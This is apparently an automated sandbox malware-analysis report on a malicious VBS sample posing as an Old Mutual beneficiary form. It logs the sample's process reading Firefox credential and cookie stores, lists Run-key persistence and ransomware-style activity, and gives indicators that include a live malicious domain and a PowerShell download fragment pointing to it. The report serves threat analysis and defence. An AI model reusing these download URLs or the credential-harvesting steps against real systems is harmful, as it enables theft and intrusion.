Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings\00002405-14fb-41bf-96fc-1151abf3a955
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\63479b8a-b3f3-4e99-9b36-3d051426e737
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498461.1e2e5577-cac5-4055-93e4-8fa3b7876f3a.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\session-state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\handlers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513624.2fefa2f4-1344-4424-9531-b97121e6ea8b.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\containers.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\parent.lock
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.990f4e28-a3dc-4bee-aaf9-f7f8e123be93.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\addons.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\.metadata-v2
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\6239d2a9-a75b-4d04-9f02-ff51a9a6c67a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups\previous.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\pkcs11.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513604.61a14900-8c70-4dde-805f-8a3f6d6f547f.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526318.6a4e4327-b79e-4529-8bcb-d12b80df7ecc.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events\events
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526248.6239d2a9-a75b-4d04-9f02-ff51a9a6c67a.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503526304.da35b044-d579-4545-b54a-ea539a7ed843.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\SiteSecurityServiceState.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498449.63479b8a-b3f3-4e99-9b36-3d051426e737.new-profile.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\AlternateServices.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings\d6fc6761-8dca-414d-bcd1-bdb2a6101c74
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503513605.0b8e5024-43d9-4b29-8d44-b2128589e9a6.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\favicons.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10\1696503498460.d6fc6761-8dca-414d-bcd1-bdb2a6101c74.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\extension-preferences.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\ExperimentStoreData.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\shield-preference-experiments.json

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Exploitation for Client Execution	221 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 PowerShell	1 DLL Side-Loading	11 Process Injection	1 Obfuscated Files or Information	LSASS Memory	22 System Information Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Masquerading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner	Label	Link
NOTIFICATION_OF_DEPENDANTS.vbs	7%	Virustotal		Browse
NOTIFICATION_OF_DEPENDANTS.vbs	3%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
file:///C:/Users/user/Downloads/downloaded.pdf	0%	Avira URL Cloud	safe
https://kiltone.td	0%	Avira URL Cloud	safe
https://www.oldmutual.co.za/favicon.ico	0%	Avira URL Cloud	safe
https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443	0%	Avira URL Cloud	safe
https://kiltone.top/stelin/rwcla.cpl	0%	Avira URL Cloud	safe
https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp	0%	Avira URL Cloud	safe
https://kiltone.top/stelin/Gosjeufon.cpl	0%	Avira URL Cloud	safe
https://www.oldmutual.co.za/v3/assets/blt0	0%	Avira URL Cloud	safe
https://kiltone.top/stelin/rwcla.	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
d12y248af9ueom.cloudfront.net	108.158.75.92	true	false	unknown
www.google.com	142.250.181.132	true	false	high
kiltone.top	45.125.67.168	true	true	unknown
www.oldmutual.co.za	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.avito.ru/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://digify.com/a/#/access/login	rundll32.exe, 00000016.00000002.2011534286.000000000263A000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	prefs.js.34.dr	false		high
https://www.ctrip.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000A.00000003.1349875196.000002B6CE3C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
https://kiltone.td	wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.leboncoin.fr/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp	cmd.exe, 0000001D.00000002.1643205950.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.bellmedia.c	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.10.dr, qmgr.db.10.dr	false		high
https://weibo.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://login.microsoftonline.com	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443	wscript.exe, 00000000.00000003.1491191170.00000198F767F000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS.vbs	true	Avira URL Cloud: safe	unknown
https://www.ifeng.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.zhihu.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
http://x1.c.lencr.org/0	cert9.db.34.dr	false		high
http://x1.i.lencr.org/0	cert9.db.34.dr	false		high
https://www.msn.com	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.oldmutual.co.za/v3/assets/blt0	wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.reddit.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.amazon.ca/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.ebay.co.uk/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://github.com/mozilla/webcompat-reporter	extensions.json.34.dr	false		high
https://www.amazon.co.uk/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.ebay.de/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://screenshots.firefox.com/	extensions.json.34.dr	false		high
https://www.amazon.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.google.com/search?client=firefox-b-d&q=	ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.34.dr, 63479b8a-b3f3-4e99-9b36-3d051426e737.34.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	cert9.db.34.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2602166639.000002B6CE600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	cert9.db.34.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500	prefs.js.34.dr	false		high
https://www.wykop.pl/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://twitter.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://digify.com/a/#/access/logincmd	fjeljies.cpl.16.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	places.sqlite.34.dr	false		high
https://www.olx.pl/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.youtube.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://allegro.pl/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://support.mozilla.org/products/firefox	favicons.sqlite.34.dr	false		high
https://MD8.mozilla.org/1/m	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.bbc.co.uk/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://bugzilla.mo	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://kiltone.top/stelin/rwcla.	wscript.exe, wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa	places.sqlite.34.dr	false		high
https://www.amazon.fr/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	cert9.db.34.dr	false		high
https://www.google.com/complete/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.google.com/search?client=firefox-b-d&q=&metrics#search.engine.default.verified	data.safe.bin.34.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	prefs.js.34.dr	false		high
https://support.mozilla.org	places.sqlite.34.dr	false		high
https://www.google.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.google.com/search?client=firefox-b-d&q=&	data.safe.bin.34.dr	false		high
https://www.iqiyi.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.amazon.de/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high
https://www.baidu.com/	3870112724rsegmnoittet-es.sqlite.34.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
45.125.67.168	kiltone.top	Hong Kong	133398	TELE-ASTeleAsiaLimitedHK	true
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
108.158.75.92	d12y248af9ueom.cloudfront.net	United States	16509	AMAZON-02US	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575116
Start date and time:	2024-12-14 13:58:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NOTIFICATION_OF_DEPENDANTS.vbs
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winVBS@100/821@5/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs

Time	Type	Description
07:59:32	API Interceptor	128x Sleep call for process: powershell.exe modified
07:59:35	API Interceptor	2x Sleep call for process: svchost.exe modified
08:00:04	API Interceptor	1x Sleep call for process: rundll32.exe modified
08:00:10	API Interceptor	6x Sleep call for process: WMIC.exe modified
14:00:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user\AppData\Local\Temp\eryy65ty.exe
14:00:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user\AppData\Local\Temp\eryy65ty.exe
14:00:36	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt

Input	Output
URL: https://oldmutual.co.za Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://oldmutual.co.za
URL: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FIND YOUR DOWNLOADS HERE", "prominent_button_name": "unknown", "text_input_field_labels": [ "Employer/Company name", "Scheme code", "Member's reference number", "First name(s)", "Surname", "ID number/Passport number", "Telephone (home)", "Cellphone number", "Email address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: Joe Sandbox AI	{ "brands": [ "Old Mutual" ] }
	{ "brands": [ "Old Mutual" ] }
URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: file:///C:/Users/user/Downloads/downloaded.pdf Model: Joe Sandbox AI	{ "brands": [ "Old Mutual" ] }
	{ "brands": [ "Old Mutual" ] }

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2F7T2aAE-SUREDANNYWthbnNoYS5rYW5vZGlhQGx0aW1pbmR0cmVlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://publuu.com/flip-book/749011/1660718	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	https://u13974777.ct.sendgrid.net/ls/click?upn=u001.1GFl1p-2BBYL-2Bhgs5F-2B0NOkrtNxvRU5lHyHn9X7Gay0rMweTw4Bty7YorCE1pBfo679HN2Nod-2BfRWA-2FvzNVU6n0ycgVO9YFLntVOrRszMr10A-3DE-mj_xaXJc0NsC5WAXuVv6HNgzGH9nxkzD8xRdi-2BQVNVTAgV30zfSKc1z4I-2Bc6Qx1hEzdtXusfFTLvSScqQmgK1DgmCe6NsmhCnbLpmZI7EPM56c0IpOXy2jX8FUofqX-2FLwkrDNu-2BJ8VdkhW-2BcibVgB56YvBarWAJ68QdVLDk-2BreYFAbG2RxK5FI2ZOf8OuVaYqzfkm-2FGiI9tY4Y1XN-2FN7Uh8Vtzi-2FP-2B8s9qjOHBuznAYsq-2B4GCewCcJExgcNnMrLH-2B3Pv6vH6wzFQkN2aMTddwwaWvcIkZYQDF7aLn1FYUQMocCkCTJEmkArX-2Bdrge72rYVSFN-2FsI6AAcwN5SA74y-2B4g6Q-3D-3D	Get hash	malicious	Unknown	Browse
	Documents.pdf	Get hash	malicious	Remcos, DBatLoader	Browse
	http://vzgb5l.elnk8.com/83885021a686e36f9150aaf51cbc0afdh	Get hash	malicious	Unknown	Browse
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com	Get hash	malicious	Unknown	Browse
108.158.75.92	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	profroma invoice.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	ORDER - 401.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	rebirth.arm5.elf	Get hash	malicious	Gafgyt	Browse	34.243.160.129
	https://publuu.com/flip-book/749011/1660718	Get hash	malicious	HTMLPhisher	Browse	13.59.79.78
	https://u13974777.ct.sendgrid.net/ls/click?upn=u001.1GFl1p-2BBYL-2Bhgs5F-2B0NOkrtNxvRU5lHyHn9X7Gay0rMweTw4Bty7YorCE1pBfo679HN2Nod-2BfRWA-2FvzNVU6n0ycgVO9YFLntVOrRszMr10A-3DE-mj_xaXJc0NsC5WAXuVv6HNgzGH9nxkzD8xRdi-2BQVNVTAgV30zfSKc1z4I-2Bc6Qx1hEzdtXusfFTLvSScqQmgK1DgmCe6NsmhCnbLpmZI7EPM56c0IpOXy2jX8FUofqX-2FLwkrDNu-2BJ8VdkhW-2BcibVgB56YvBarWAJ68QdVLDk-2BreYFAbG2RxK5FI2ZOf8OuVaYqzfkm-2FGiI9tY4Y1XN-2FN7Uh8Vtzi-2FP-2B8s9qjOHBuznAYsq-2B4GCewCcJExgcNnMrLH-2B3Pv6vH6wzFQkN2aMTddwwaWvcIkZYQDF7aLn1FYUQMocCkCTJEmkArX-2Bdrge72rYVSFN-2FsI6AAcwN5SA74y-2B4g6Q-3D-3D	Get hash	malicious	Unknown	Browse	13.227.2.22
	http://vzgb5l.elnk8.com/83885021a686e36f9150aaf51cbc0afdh	Get hash	malicious	Unknown	Browse	44.227.215.28
	https://www.canva.com/link?target=https%3A%2F%2Fgu3.watetiona.com%2FYEcft%2F&design=DAGZLjls8N8&accessRole=viewer&linkSource=document	Get hash	malicious	HTMLPhisher	Browse	34.217.153.224
	18037.doc	Get hash	malicious	Unknown	Browse	15.222.187.200
	Codale Electric Supply Health Insurance Benefits Open Enrollment Plan.html.shtml	Get hash	malicious	Unknown	Browse	34.253.40.242
	https://us-west-2.protection.sophos.com/?d=microsoft.com&u=aHR0cHM6Ly9jdXN0b21lcnZvaWNlLm1pY3Jvc29mdC5jb20vUGFnZXMvUmVzcG9uc2VQYWdlLmFzcHg_aWQ9R1V1LXNGcV9vVWVfanViX1RzNWNzTjJ3cmI2cGNXbEJ2Vm9kQTg3OVBVbFVNRGMyUXpNd00wdENVVFJWT1ZGUFRWYzNPRWM1V0ZsRE1DNHU=&i=NThlN2NjYzYyOTljZjkxNGY4YmM0YmNh&t=YzVvY0ZoOHFRSGdCNnRncDc0ajJVNDZ2OTFMQXU1d0o3eU5tbk9LTnRwdz0=&h=fb80ac6ee6b9415ab2e67948974a6ac6&s=AVNPUEhUT0NFTkNSWVBUSVYEA8vQ82X9oDKen41DcCmWhkUnMNiRIUMWwszf4nzAf5AOW4BqwHD-tdThtGIGLos	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.227.8.101
TELE-ASTeleAsiaLimitedHK	R7bv9d6gTH.dll	Get hash	malicious	Unknown	Browse	103.253.43.248
	http://9089357365.com/	Get hash	malicious	Phisher	Browse	45.125.65.213
	UBONg7lmVR.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	UBONg7lmVR.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
